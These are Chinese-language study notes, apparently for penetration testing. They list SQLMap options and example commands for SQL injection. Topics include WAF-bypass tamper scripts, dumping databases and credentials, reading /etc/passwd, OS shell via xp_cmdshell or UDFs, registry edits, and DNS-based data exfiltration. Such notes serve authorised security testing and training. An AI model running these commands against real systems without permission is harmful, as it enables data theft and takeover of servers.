SQLMap自动注入-Injection
- -p
- 指定扫描的参数,使–level失效
- -p “user-agent,referer”
- –skip
- 排除指定的扫描参数
- –level=5 –skip=”id,user-agent”
- uri注入点
- sqlmap -u “http://targeturl/param1/value1*/param2/value2/"
- 在参数的地方加个*即可
- –dbms=”mysql”
- –os
- Linux
- Windows
- –invalid-bignum/–invalid-logical
- 通常sqlmap使用负值使参数取值失效 id=13->id=-13
- bignum使用大数使参数时效,id=99999999
- logical使用布尔判断使参数失效,id=13 and 19
- –no-cast
- 榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换null
- 老版本数据库开启此开关
- –no-escape
- 出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串
- select ‘foo’ –> select char(102)+char(111)+char(111)
- 本参数将关闭此功能
- –prefix/–suffix
- 比如服务器端代码是$query = “select * from users where id = (‘“.$_GET[‘id’]”.”‘) limit 0,1”;
- sqlmap -u “http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1" -p id –prefix “‘)’” –suffix “and (‘abc’=’abc”
- 注入后:query=”select * from users where id=(‘1’) <PAYLOAD> and (‘abc’=’abc’) limit 0,1”;
- –tamper(实际渗透测试中经常使用的)
- 混淆脚本,用于绕过应用层过滤、IPS、WAF
- sqlmap -u “xxxxx” –tamper=”between.py,randomcase.py,spcae2comment.py”
SQLMap自动注入-Detection
–level
- 1-5级(默认1)
- /usr/share/sqlmap/data/xml/payloads#
–risk
1-4(默认1/无害)
Risk升高可造成数据被篡改等风险
–string,–not-string,–regexp,–code,–text-only,–titles
- 页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有些页面随时间变化,此时需要人为指定标志真假的条件。
SQLMap自动注入-Techniques
默认使用全部技术
- B:Boolean-based blind
- E:Error-based
- U:Union query-based
- S:Stacked queries(文件系统,操作系统、注册表必须)
- T:Time-Based blind
–time-sec
- 基于时间的注入检测相应延迟时间(默认5秒)
–union-cols
- 默认联合查询1-10列,随–level增加最多支持50列
- –union-cols 6-9
–union-char
- 对于不需要查询的,联合查询默认使用null,极端情况下null可能失败,此时可以手动指定数值
- –union-char 123
–dns-domain
- 攻击者控制了某dns服务器,使用此功能提高数据榨取的速度
- –dns-domain xxxxx.com
–second-order
- 在一个页面注入的结果,从另一个页面体现出来
- –second-order http://1.1.1.1/b.php
SQLMap自动注入-Fingerprint
- -f,–fingerprint,-b,–banner
- DBMS指纹信息
- DBMS,操作系统,架构,补丁
SQLMap自动注入-Enumration
- –current-user
- 查询当前DBMS账号
- –current-db
- –hostname
- –users
- –privileges -U username(可以不跟 -U)
- –roles
- –dbs
- -D database –tables
- -D database -T table –colums
- -D database -T table -C colum –columns
- –exclude-sysdbs
- –count
- –schema
- –batch所有需要选择的都使用默认
- Dump数据
- –dump,-C,-T,-D,–start,–stop
- –dump-all
- –sql-query ‘’select * from users’’
SQLMap自动注入-BruteForce
- 当无权读取information_schema库时
- 微软的access数据库,默认无权读取MSysObjects库
- –common-tables(爆破表名)
- –common-columns(爆破列名,Access系统表无列信息)
SQLMap自动注入-User Defined Function Injections
- –udf-inject,–shared-lib
- 编译共享库创建并上传至DBServer,以此生成UDF实现高级注入
- Linux:shared object
- Windows:DLL
SQLMap自动注入-FileSystem
- –file-read=”/etc/passwd”
- –file-write=”/path/file” –file-dest “/tmp/file”
SQLMap自动注入-OS
Mysql、postgresql
- 上传共享库并生成sys_exec()、sys_eval()两个udf
mssql
- xp_cmdshell存储过程(漏洞)(有就用,禁了启,没有建)
–os-cmd
–os-shell
–sql-shell
SQLMap自动注入-WindowsRegistory
- –reg-read
- –reg-add
- –reg-del
- –reg-key、–reg-value、–reg-data、–reg-type
- sqlmap -u=”http://1.1.1.1/a.php?id=1" –reg-add –reg-key=”HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap” –reg-value=Test –reg-type=REG_SZ –reg-data=1
SQLMap自动注入-General
-s:sqllite会话文件保存位置
- 默认保存在~/.sqlmap/output
-t:记录流量文件保存位置
–charset:强制字符编码
- –charset=GBK
–crawl:从起始位置爬站深度
- –batch –crawl=3
–csv-del:dump数据默认存于“,”分割的CSV文件中,指定其它分隔符
- –csv-del”;”
–dbms-cred:指定数据库账号(credential)
–flush-session:清除缓存,再查就是重新查询
–force-ssl:访问https
–fresh-quries:直接重新查,不清缓存
–hex:dump非ASCII字符内容时,将其编码为16进制,收到后解码还原
- sqlmap -u “http://1.1.1.1/s.php?id=1" –hex -v 3
–parse-errors:分析和显示数据库内建报错信息
–save:将命令保存成配置文件
- 指定保存位置
SQLMap自动注入-Miscellaneous
- -z:参数帮助记符